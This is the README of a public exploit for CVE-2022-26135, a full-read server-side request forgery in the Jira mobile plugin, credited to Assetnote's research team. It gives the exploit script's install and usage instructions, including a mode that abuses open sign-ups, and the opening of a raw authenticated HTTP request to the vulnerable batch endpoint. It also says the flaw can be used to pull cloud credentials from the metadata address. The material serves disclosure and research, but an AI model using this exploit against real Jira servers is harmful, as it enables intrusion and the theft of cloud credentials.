# CVE-2022-26135 - Full-Read Server Side Request Forgery in Mobile Plugin for Jira Data Center and Server

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This research was performed by Assetnote's Security Research team.

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## Blog Post

The blog post detailing the steps taken for the discovery of this vulnerability can be found [here](

## Description

Jira Core & Jira Service Desk are vulnerable to server-side request forgery after authenticating. In some cases, it is possible to leverage open sign ups in Jira Core or Jira Service Desk to exploit this server-side request forgery flaw without having known credentials.

## Impact

The SSRF vulnerability allows attackers to send HTTP requests using any HTTP method, headers and body to arbitrary URLs. When Jira is deployed on a cloud environment, an attacker can leverage this exploit chain to obtain cloud credentials or other sensitive information through the metadata IP address.

## Affected Software

As per the advisory from Atlassian, please see the following knowledge base article to confirm if you are running an affected software version: [](

# Usage Instructions

pip3 install -r requirements.txt

and then you can use the exploit using:



usage: [-h] --target TARGET --ssrf SSRF --mode MODE [--software SOFTWARE] [--username USERNAME] [--email EMAIL] [--password PASSWORD]

optional arguments:
  -h, --help           show this help message and exit
  --target TARGET      i.e. http://re.local:8090
  --ssrf SSRF          i.e. (no protocol pls)
  --mode MODE          i.e. manual or automatic - manual mode you need to provide user auth info
  --software SOFTWARE  i.e. jira or jsd - only needed for manual mode
  --username USERNAME  i.e. admin - only needed for manual jira mode
  --email EMAIL        i.e. - only needed for manual jira service desk mode
  --password PASSWORD  i.e. testing123 - only needed for manual mode

If you already have credentials for Jira / Jira Service Desk, then set the `--mode` to `manual` and the `--software` argument to either `jira` or `jsd`.

# HTTP Request

The following HTTP request can be used to reproduce this issue, once authenticated to the Jira instance:

POST /rest/nativemobile/1.0/batch HTTP/2
Cookie: JSESSIONID=44C6A24A15A1128CE78586A0FA1B1662; seraph.rememberme.cookie=818752%3Acc12c66e2f048b9d50eff8548800262587b3e9b1; atlassian.xsrf.token=AES2-GIY1-7JLS-HNZJ_db57d0893ec4d2e2f81c51c1a8984bde993b7445_lin
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.36
Content-Type: application/json
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 63